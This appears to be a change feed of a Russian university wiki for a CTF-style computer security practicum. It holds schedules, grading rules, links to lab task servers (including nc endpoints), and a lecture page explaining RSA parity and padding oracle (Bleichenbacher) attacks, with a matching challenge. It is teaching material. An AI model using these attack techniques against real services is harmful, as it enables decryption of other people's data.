* &#039;&#039;&#039;Когда&#039;&#039;&#039;: по четвергам, 12:50&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 612&lt;br /&gt;
&lt;br /&gt;
Практикум связан с курсом &amp;quot;Безопасность компьютерных систем&amp;quot;, который читается для группы 319/2, и содержит практические задания по темам курса. Каждое занятие практикума имеет формат воркшопа/семинара - т.е. занятие будет практическим, на него надо приходить с ноутбуком, а также установленным софтом. Набор нужного для занятия софта объявляется отдельно перед занятием.&lt;br /&gt;
&lt;br /&gt;
Основные темы, которые будут затронуты в практикуме 2021/2022 учебного года:&lt;br /&gt;
* веб-безопасность&lt;br /&gt;
* реверс-инжиниринг и эксплуатация бинарных программ&lt;br /&gt;
* криптография&lt;br /&gt;
* сетевая безопасность&lt;br /&gt;
&lt;br /&gt;
Оценка за практикум будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные, баллы за все обязательные задания одной темы будут в сумме давать &#039;&#039;&#039;1000&#039;&#039;&#039;, таким образом, баллы за все обязательные задания одного семестра вместе дадут &#039;&#039;&#039;2000&#039;&#039;&#039;.&lt;br /&gt;
Большая часть заданий будет выполнена в формате ctf-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Задания выполнены в формате task-based CTF: в каждом задании есть один или несколько &amp;quot;флагов&amp;quot;, выполняющих роль ценных данных, которые требуется найти и украсть атакующему, для выполнения задания необходимо получить флаг и сдать его в принимающую систему. За каждый сданный флаг начисляются очки. Флаг представляет из себя строку, которая может состоять из цифр и букв английского алфавита, а также нижних подчеркиваний (&amp;quot;_&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
Флаги, входящие в обязательную часть, будут начинаться с префикса main__&lt;br /&gt;
&lt;br /&gt;
Флаги нужно сдавать в принимающую систему. В ней нужно заранее зарегистрироваться (ник в формате &#039;&#039;Фамилия Имя&#039;&#039;) и дождаться активации, без этого сдавать флаги не получится Флаги время от времени меняются, если вы получили флаг, но он не сдается, попробуйте вытащить его еще раз и сдать снова - возможно, он поменялся как раз в тот момент. Флаг за одно и то же задание засчитывается для того же сдающего только один раз (даже после изменения).&lt;br /&gt;
&lt;br /&gt;
== Материалы ==&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
Семинар 1 (9 сентября 2021) [[Веб-безопасность/Введение в веб-технологии]]&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2021)&amp;diff=584</id>
		<title>Практикум на ЭВМ (2021)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2021)&amp;diff=584"/>
		<updated>2021-09-08T11:45:40Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: Новая страница: «__NOTOC__ &amp;#039;&amp;#039;&amp;#039;Практикум на ЭВМ&amp;#039;&amp;#039;&amp;#039; кафедры ИБ ВМК МГУ ведут сотрудники лаборатории интеллектуаль…»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Практикум на ЭВМ&#039;&#039;&#039; кафедры ИБ ВМК МГУ ведут сотрудники лаборатории интеллектуальных систем кибербезопасности для групп 319/1 и 319/2.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: по четвергам, 12:50&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 612&lt;br /&gt;
&lt;br /&gt;
Практикум связан с курсом &amp;quot;Безопасность компьютерных систем&amp;quot;, который читается для группы 319/2, и содержит практические задания по темам курса. Каждое занятие практикума имеет формат воркшопа/семинара - т.е. занятие будет практическим, на него надо приходить с ноутбуком, а также установленным софтом. Набор нужного для занятия софта объявляется отдельно перед занятием.&lt;br /&gt;
&lt;br /&gt;
Основные темы, которые будут затронуты в практикуме 2021/2022 учебного года:&lt;br /&gt;
* веб-безопасность&lt;br /&gt;
* реверс-инжиниринг и эксплуатация бинарных программ&lt;br /&gt;
* криптография&lt;br /&gt;
* сетевая безопасность&lt;br /&gt;
&lt;br /&gt;
Оценка за практикум будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные, баллы за все обязательные задания одной темы будут в сумме давать &#039;&#039;&#039;1000&#039;&#039;&#039;, таким образом, баллы за все обязательные задания одного семестра вместе дадут &#039;&#039;&#039;2000&#039;&#039;&#039;.&lt;br /&gt;
Большая часть заданий будет выполнена в формате ctf-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Задания выполнены в формате task-based CTF: в каждом задании есть один или несколько &amp;quot;флагов&amp;quot;, выполняющих роль ценных данных, которые требуется найти и украсть атакующему, для выполнения задания необходимо получить флаг и сдать его в принимающую систему. За каждый сданный флаг начисляются очки. Флаг представляет из себя строку, которая может состоять из цифр и букв английского алфавита, а также нижних подчеркиваний (&amp;quot;_&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
Флаги, входящие в обязательную часть, будут начинаться с префикса main__&lt;br /&gt;
&lt;br /&gt;
Флаги нужно сдавать в [https://dashboard.prak.seclab.cs.msu.ru/ принимающую систему]. В ней нужно заранее зарегистрироваться (ник в формате &#039;&#039;Фамилия Имя&#039;&#039;) и дождаться активации, без этого сдавать флаги не получится Флаги время от времени меняются, если вы получили флаг, но он не сдается, попробуйте вытащить его еще раз и сдать снова - возможно, он поменялся как раз в тот момент. Флаг за одно и то же задание засчитывается для того же сдающего только один раз (даже после изменения).&lt;br /&gt;
&lt;br /&gt;
== Материалы ==&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
Семинар 1 (9 сентября 2021) [[Веб-безопасность/Введение в веб-технологии]]&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2020)&amp;diff=468</id>
		<title>Практикум на ЭВМ (2020)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2020)&amp;diff=468"/>
		<updated>2021-04-07T11:01:46Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: /* Криптография и криптоанализ */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Практикум на ЭВМ&#039;&#039;&#039; кафедры ИБ ВМК МГУ ведут сотрудники лаборатории интеллектуальных систем кибербезопасности для групп 319/1 и 319/2.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: по четвергам, 12:50&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 612&lt;br /&gt;
&lt;br /&gt;
Практикум связан с курсом &amp;quot;Безопасность компьютерных систем&amp;quot;, который читается для группы 319/2, и содержит практические задания по темам курса. Каждое занятие практикума имеет формат воркшопа/семинара - т.е. занятие будет практическим, на него надо приходить с ноутбуком, а также установленным софтом. Набор нужного для занятия софта объявляется отдельно перед занятием.&lt;br /&gt;
&lt;br /&gt;
Основные темы, которые будут затронуты в практикуме 2020/2021 учебного года:&lt;br /&gt;
* веб-безопасность&lt;br /&gt;
* реверс-инжиниринг и эксплуатация бинарных программ&lt;br /&gt;
* криптография&lt;br /&gt;
* сетевая безопасность&lt;br /&gt;
&lt;br /&gt;
Оценка за практикум будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные, баллы за все обязательные задания одной темы будут в сумме давать &#039;&#039;&#039;1000&#039;&#039;&#039;, таким образом, баллы за все обязательные задания одного семестра вместе дадут &#039;&#039;&#039;2000&#039;&#039;&#039;. Критерии такие:&lt;br /&gt;
* &#039;&#039;&#039;2000&#039;&#039;&#039; и больше будут давать оценку &amp;quot;отлично&amp;quot;.&lt;br /&gt;
* баллы &amp;gt;= &#039;&#039;&#039;1000&#039;&#039;&#039;, но меньше &#039;&#039;&#039;2000&#039;&#039;&#039; будут давать оценку &amp;quot;хорошо&amp;quot;&lt;br /&gt;
* баллы &amp;gt;= &#039;&#039;&#039;500&#039;&#039;&#039;, но меньше &#039;&#039;&#039;1000&#039;&#039;&#039; будут давать оценку &amp;quot;удовлетворительно&amp;quot;&lt;br /&gt;
Большая часть заданий будет выполнена в формате ctf-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Задания выполнены в формате task-based CTF: в каждом задании есть один или несколько &amp;quot;флагов&amp;quot;, выполняющих роль ценных данных, которые требуется найти и украсть атакующему, для выполнения задания необходимо получить флаг и сдать его в принимающую систему. За каждый сданный флаг начисляются очки. Флаг представляет из себя строку, которая может состоять из цифр и букв английского алфавита, а также нижних подчеркиваний (&amp;quot;_&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
Флаги, входящие в обязательную часть, будут начинаться с префикса main__&lt;br /&gt;
&lt;br /&gt;
Флаги нужно сдавать в [https://dashboard.prak.seclab.cs.msu.ru/ принимающую систему]. В ней нужно заранее зарегистрироваться (ник в формате &#039;&#039;Фамилия Имя&#039;&#039;) и дождаться активации, без этого сдавать флаги не получится Флаги время от времени меняются, если вы получили флаг, но он не сдается, попробуйте вытащить его еще раз и сдать снова - возможно, он поменялся как раз в тот момент. Флаг за одно и то же задание засчитывается для того же сдающего только один раз (даже после изменения).&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;s&amp;gt;[[Практикум_на_ЭВМ_(2020)/Бонусное_задание|Бонусное задание]]&amp;lt;/s&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;s&amp;gt;http://club.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt; (deadline - 01.12.2020 1:53)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://jpg.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt; (deadline - 01.12.2020 1:53)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://hard.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt; (deadline - 01.12.2020 1:53)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://bank.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt; (deadline - 10.12.2020 1:53)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://corporate.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt; (deadline - 10.12.2020 1:53)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://pwnitter.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt; (deadline - 10.12.2020 1:53)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://seeker.shanton.ru:8081&amp;lt;/s&amp;gt;, дамп контейнера - https://yadi.sk/d/BV0UynXuOJmnBg (deadline - 23.12.2020 1:53)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://shop.tasks.prak.seclab.cs.msu.ru&amp;lt;/s&amp;gt; (deadline - 23.12.2020 1:53)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://tiny.dong.solutions:28080&amp;lt;/s&amp;gt; (нужно использовать droog@tiny.dong.solutions) (deadline - 23.12.2020 1:53)&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;s&amp;gt;[https://drive.google.com/file/d/1ENAVVDKlKIGgELZh6sCaP1wJ4SiOAYwz/view?usp=sharing task 5]&amp;lt;/s&amp;gt; nc tasks.prak.seclab.cs.msu.ru 16965 (deadline 21.12.2020 0:00)&lt;br /&gt;
* &amp;lt;s&amp;gt;[https://drive.google.com/file/d/1ZImdhu0o6KHdCoz6O8n2CD2FWa2Wk0js/view?usp=sharing task 6]&amp;lt;/s&amp;gt; nc tasks.prak.seclab.cs.msu.ru 16966 (deadline 21.12.2020 0:00)&lt;br /&gt;
* &amp;lt;s&amp;gt;[https://drive.google.com/file/d/1R55Q3Czxd4Wu_hVP1lAK2vSkJcxmh9wg/view?usp=sharing task 7]&amp;lt;/s&amp;gt; nc tasks.prak.seclab.cs.msu.ru 16967 (deadline 21.12.2020 0:00)&lt;br /&gt;
&lt;br /&gt;
=== Криптография и криптоанализ ===&lt;br /&gt;
&lt;br /&gt;
* RSA: &amp;lt;s&amp;gt;[https://khashaev.ru/secsem/rsa/#broadcast broadcast]&amp;lt;/s&amp;gt;, &amp;lt;s&amp;gt;[https://khashaev.ru/secsem/rsa/#common-sense common-sense]&amp;lt;/s&amp;gt; (deadline - 29.03.2021 1:53)&lt;br /&gt;
* [[Практикум_на_ЭВМ_(2020)/Задание_на_блочные_шифры|Задание на блочные шифры]] (deadline - 16.04.2021 1:53)&lt;br /&gt;
* [[Практикум_на_ЭВМ_(2020)/Задание_на_padding_oracle|Задание на padding oracle]] (deadline - 21.04.2021 14:00)&lt;br /&gt;
&lt;br /&gt;
=== Сетевая безопасность ===&lt;br /&gt;
&lt;br /&gt;
=== Мобильные приложения ===&lt;br /&gt;
&lt;br /&gt;
Обход проверки root-доступа [[Root_check_bypass]]&lt;br /&gt;
&lt;br /&gt;
== Материалы ==&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
Семинар 1 (17 сентября 2020) [[Веб-безопасность/Введение в веб-технологии]]&lt;br /&gt;
&lt;br /&gt;
Семинар 2 (24 сентября 2020) [[Веб-безопасность/Базы_данных_SQL]]&lt;br /&gt;
&lt;br /&gt;
Семинар 3 (1 октября 2020) [[Веб-безопасность/Уязвимости_SQLi]]&lt;br /&gt;
&lt;br /&gt;
Семинар 4 (8 октября 2020) [[Веб-безопасность/Уязвимости_XSS]]&lt;br /&gt;
&lt;br /&gt;
Семинар 5 (15 октября 2020) [[Веб-безопасность/Уязвимости_FileUpload]]&lt;br /&gt;
&lt;br /&gt;
Семинар 6 (22 октября 2020) [[Веб-безопасность/Атаки_SSRF]]&lt;br /&gt;
&lt;br /&gt;
Семинар 7 (29 октября 2020) [[Веб-безопасность/Уязвимости_XXE]]&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
Семинар 8 (5 ноября 2020) [[Бинарные_уязвимости/Инструменты_поиска_бинарных_уязвимостей]]&lt;br /&gt;
&lt;br /&gt;
Семинар 9 (12 ноября 2020) [[Бинарные_уязвимости/Stack_overflow]]&lt;br /&gt;
&lt;br /&gt;
Семинар 10 (19 ноября 2020) [[Бинарные_уязвимости/Off-by-one]]&lt;br /&gt;
&lt;br /&gt;
Семинар 11 (26 ноября 2020) [[Бинарные_уязвимости/House-of-force]]&lt;br /&gt;
&lt;br /&gt;
Семинар 12 (3 декабря 2020) [[Бинарные_уязвимости/cve-2019-5782]]&lt;br /&gt;
&lt;br /&gt;
=== Уязвимости мобильных приложений ===&lt;br /&gt;
&lt;br /&gt;
Семинар 14 (10 декабря 2020) [[Уязвимости_мобильных_приложений/1]]&lt;br /&gt;
&lt;br /&gt;
Семинар 15 (17 декабря 2020) [[Уязвимости_мобильных_приложений/2]]&lt;br /&gt;
&lt;br /&gt;
=== Криптография и криптоанализ ===&lt;br /&gt;
Семинар 1 (15 февраля 2021) [[Введение в практическую безопасность (2019)/Асимметричная криптография на примере RSA]]&lt;br /&gt;
&lt;br /&gt;
Семинар 2 (1 марта 2021) [[Криптография/Блочные шифры. Атаки на блочные шифры]]&lt;br /&gt;
&lt;br /&gt;
Семинар 3 (15 марта 2021) [[Криптография/Атака Padding oracle на RSA]]&lt;br /&gt;
&lt;br /&gt;
=== Сетевая безопасность ===&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2020)/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BD%D0%B0_padding_oracle&amp;diff=467</id>
		<title>Практикум на ЭВМ (2020)/Задание на padding oracle</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2020)/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BD%D0%B0_padding_oracle&amp;diff=467"/>
		<updated>2021-04-07T11:01:39Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: Новая страница: «Есть сервис для заказа товаров. Вы хотите расшифровать чужой заказ. Получить чужой заказ…»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Есть сервис для заказа товаров. Вы хотите расшифровать чужой заказ. Получить чужой заказ в зашифрованном виде:&lt;br /&gt;
&lt;br /&gt;
http://bleichenbacher.tasks.prak.seclab.cs.msu.ru:8082/api/order/rival/&lt;br /&gt;
&lt;br /&gt;
Вы также можете сделать заказ. Для этого нужно:&lt;br /&gt;
&lt;br /&gt;
получить публичный ключ:&lt;br /&gt;
&lt;br /&gt;
http://bleichenbacher.tasks.prak.seclab.cs.msu.ru:8082/api/pubkey/&lt;br /&gt;
&lt;br /&gt;
сделать заказ - отправить следующий post-запрос:&lt;br /&gt;
&lt;br /&gt;
url: http://bleichenbacher.tasks.prak.seclab.cs.msu.ru:8082/api/order/place/,&lt;br /&gt;
&lt;br /&gt;
data: {“order”: &amp;lt;ваш_заказ_в_зашифрованном_виде&amp;gt;}&lt;br /&gt;
&lt;br /&gt;
headers: {&#039;content-type&#039;: &#039;application/json&#039;}&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%9A%D1%80%D0%B8%D0%BF%D1%82%D0%BE%D0%B3%D1%80%D0%B0%D1%84%D0%B8%D1%8F/%D0%90%D1%82%D0%B0%D0%BA%D0%B0_Padding_oracle_%D0%BD%D0%B0_RSA&amp;diff=466</id>
		<title>Криптография/Атака Padding oracle на RSA</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%9A%D1%80%D0%B8%D0%BF%D1%82%D0%BE%D0%B3%D1%80%D0%B0%D1%84%D0%B8%D1%8F/%D0%90%D1%82%D0%B0%D0%BA%D0%B0_Padding_oracle_%D0%BD%D0%B0_RSA&amp;diff=466"/>
		<updated>2021-04-02T14:00:01Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: /* PKCS#1 v1.5 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Мультипликативное свойство RSA==&lt;br /&gt;
Пусть E(M) - функция шифрования, N - модуль, X mod Y - остаток от деления X на Y. Тогда:&lt;br /&gt;
&amp;lt;pre&amp;gt; E(M1)E(M2) mod N = E(M1M2 mod N)&amp;lt;/pre&amp;gt;&lt;br /&gt;
Данной свойство очевидно выводится из определения функции шифрования E(M).&lt;br /&gt;
&lt;br /&gt;
==Pairing Oracle==&lt;br /&gt;
Разберем следующи пример: пусть есть сервис по заказу яиц. Но он позваляет заказывать только четное количество яиц. Заказы принимаются в зашифрованном RSA виде. Нужно, имея подслушанный зашифрованный текст C, получить его дешифрованный текст M.&lt;br /&gt;
&lt;br /&gt;
Атака выглядит следующим образом: пусть M &amp;lt; N. Можно послать сервису заказ на &amp;lt;code&amp;gt;2M mod N&amp;lt;/code&amp;gt; яиц (для этого нужно послать &amp;lt;code&amp;gt;(C*2^e) mod N)&amp;lt;/code&amp;gt;. Тогда есть два варинта:&lt;br /&gt;
# &amp;lt;code&amp;gt;M &amp;gt; N/2&amp;lt;/code&amp;gt;, тогда &amp;lt;code&amp;gt;2M mod N = 2M - N&amp;lt;/code&amp;gt; - нечетное число, сервис не принимает заказ&lt;br /&gt;
# &amp;lt;code&amp;gt;M &amp;lt;= N/2&amp;lt;/code&amp;gt;, тогда &amp;lt;code&amp;gt;2M mod N = 2M&amp;lt;/code&amp;gt; - четное число, сервис принимает заказ&lt;br /&gt;
Аналогичные суждения можно сделать, домножая C на 2^ie mod N (где i - натуральное число) и, используя метод двоичного поиска, выяснить, чему же равно M.&lt;br /&gt;
&lt;br /&gt;
==PKCS==&lt;br /&gt;
Согласно этому стандарту, паддинг текста, длина которого недостаточна для шифрования происходит следующим образом:&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#B22222&amp;quot;&amp;gt;0002&amp;lt;/span&amp;gt;&amp;lt;span style=&amp;quot;color:#4169E1&amp;quot;&amp;gt;3572e4bcc8df4c7e53f931c1d79addcc3d0412db8723e28c84a5f6340d0f95f9836b07907669f2527&lt;br /&gt;
eda22e1f80e6e2e4dac062326f5716fca45&amp;lt;/span&amp;gt;&amp;lt;span style=&amp;quot;color:#FF00FF&amp;quot;&amp;gt;00&amp;lt;/span&amp;gt;4c65616b696e672070617269747920616c6c6f777320666f7&lt;br /&gt;
22064656372797074696e6720612077686f6c652052534120656e63727970746564206d6573736167650a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#B22222&amp;quot;&amp;gt;0002&amp;lt;/span&amp;gt; - первые два байта определяют тип падинга&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#4169E1&amp;quot;&amp;gt;3572e4bcc8df4c7e53f931c1d79addcc3d0412db8723e28c84a5f6340d&lt;br /&gt;
0f95f9836b07907669f2527eda22e1f80e6e2e4dac062326f5716fca45&amp;lt;/span&amp;gt; - ненулевые случайные байты&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#FF00FF&amp;quot;&amp;gt;00&amp;lt;/span&amp;gt; - сепаратор, после которого идёт собственно сам текст&lt;br /&gt;
&lt;br /&gt;
==Атака Блехенбахера== &lt;br /&gt;
[https://disk.yandex.ru/i/-_ohdI9lqwgqyg| Ссылка на описание атаки]&lt;br /&gt;
&lt;br /&gt;
==Ссылки==&lt;br /&gt;
* [https://youtu.be/J8j2LHiKS0I Видео лекции]&lt;br /&gt;
* [https://docs.google.com/presentation/d/19sGLccnP5IcVm3l3ie3UJZ_nMTxu62SMCFHCd_M2fFc/edit?usp=sharing Презинтация лекции]&lt;br /&gt;
* [http://archiv.infsec.ethz.ch/education/fs08/secsem/bleichenbacher98.pdf Оригинал статьи по атаке Блехенбахера]&lt;br /&gt;
* [http://secgroup.dais.unive.it/wp-content/uploads/2012/11/Practical-Padding-Oracle-Attacks-on-RSA.html Ещё одна статья про padding oracle]&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%9A%D1%80%D0%B8%D0%BF%D1%82%D0%BE%D0%B3%D1%80%D0%B0%D1%84%D0%B8%D1%8F/%D0%90%D1%82%D0%B0%D0%BA%D0%B0_Padding_oracle_%D0%BD%D0%B0_RSA&amp;diff=465</id>
		<title>Криптография/Атака Padding oracle на RSA</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%9A%D1%80%D0%B8%D0%BF%D1%82%D0%BE%D0%B3%D1%80%D0%B0%D1%84%D0%B8%D1%8F/%D0%90%D1%82%D0%B0%D0%BA%D0%B0_Padding_oracle_%D0%BD%D0%B0_RSA&amp;diff=465"/>
		<updated>2021-04-02T13:59:26Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: /* Pairing Oracle */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Мультипликативное свойство RSA==&lt;br /&gt;
Пусть E(M) - функция шифрования, N - модуль, X mod Y - остаток от деления X на Y. Тогда:&lt;br /&gt;
&amp;lt;pre&amp;gt; E(M1)E(M2) mod N = E(M1M2 mod N)&amp;lt;/pre&amp;gt;&lt;br /&gt;
Данной свойство очевидно выводится из определения функции шифрования E(M).&lt;br /&gt;
&lt;br /&gt;
==Pairing Oracle==&lt;br /&gt;
Разберем следующи пример: пусть есть сервис по заказу яиц. Но он позваляет заказывать только четное количество яиц. Заказы принимаются в зашифрованном RSA виде. Нужно, имея подслушанный зашифрованный текст C, получить его дешифрованный текст M.&lt;br /&gt;
&lt;br /&gt;
Атака выглядит следующим образом: пусть M &amp;lt; N. Можно послать сервису заказ на &amp;lt;code&amp;gt;2M mod N&amp;lt;/code&amp;gt; яиц (для этого нужно послать &amp;lt;code&amp;gt;(C*2^e) mod N)&amp;lt;/code&amp;gt;. Тогда есть два варинта:&lt;br /&gt;
# &amp;lt;code&amp;gt;M &amp;gt; N/2&amp;lt;/code&amp;gt;, тогда &amp;lt;code&amp;gt;2M mod N = 2M - N&amp;lt;/code&amp;gt; - нечетное число, сервис не принимает заказ&lt;br /&gt;
# &amp;lt;code&amp;gt;M &amp;lt;= N/2&amp;lt;/code&amp;gt;, тогда &amp;lt;code&amp;gt;2M mod N = 2M&amp;lt;/code&amp;gt; - четное число, сервис принимает заказ&lt;br /&gt;
Аналогичные суждения можно сделать, домножая C на 2^ie mod N (где i - натуральное число) и, используя метод двоичного поиска, выяснить, чему же равно M.&lt;br /&gt;
&lt;br /&gt;
==PKCS#1 v1.5==&lt;br /&gt;
Согласно этому стандарту, паддинг текста, длина которого недостаточна для шифрования происходит следующим образом:&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#B22222&amp;quot;&amp;gt;0002&amp;lt;/span&amp;gt;&amp;lt;span style=&amp;quot;color:#4169E1&amp;quot;&amp;gt;3572e4bcc8df4c7e53f931c1d79addcc3d0412db8723e28c84a5f6340d0f95f9836b07907669f2527&lt;br /&gt;
eda22e1f80e6e2e4dac062326f5716fca45&amp;lt;/span&amp;gt;&amp;lt;span style=&amp;quot;color:#FF00FF&amp;quot;&amp;gt;00&amp;lt;/span&amp;gt;4c65616b696e672070617269747920616c6c6f777320666f7&lt;br /&gt;
22064656372797074696e6720612077686f6c652052534120656e63727970746564206d6573736167650a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#B22222&amp;quot;&amp;gt;0002&amp;lt;/span&amp;gt; - первые два байта определяют тип падинга&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#4169E1&amp;quot;&amp;gt;3572e4bcc8df4c7e53f931c1d79addcc3d0412db8723e28c84a5f6340d&lt;br /&gt;
0f95f9836b07907669f2527eda22e1f80e6e2e4dac062326f5716fca45&amp;lt;/span&amp;gt; - ненулевые случайные байты&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#FF00FF&amp;quot;&amp;gt;00&amp;lt;/span&amp;gt; - сепаратор, после которого идёт собственно сам текст&lt;br /&gt;
&lt;br /&gt;
==Атака Блехенбахера== &lt;br /&gt;
[https://disk.yandex.ru/i/-_ohdI9lqwgqyg| Ссылка на описание атаки]&lt;br /&gt;
&lt;br /&gt;
==Ссылки==&lt;br /&gt;
* [https://youtu.be/J8j2LHiKS0I Видео лекции]&lt;br /&gt;
* [https://docs.google.com/presentation/d/19sGLccnP5IcVm3l3ie3UJZ_nMTxu62SMCFHCd_M2fFc/edit?usp=sharing Презинтация лекции]&lt;br /&gt;
* [http://archiv.infsec.ethz.ch/education/fs08/secsem/bleichenbacher98.pdf Оригинал статьи по атаке Блехенбахера]&lt;br /&gt;
* [http://secgroup.dais.unive.it/wp-content/uploads/2012/11/Practical-Padding-Oracle-Attacks-on-RSA.html Ещё одна статья про padding oracle]&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2020)&amp;diff=462</id>
		<title>Практикум на ЭВМ (2020)</title>
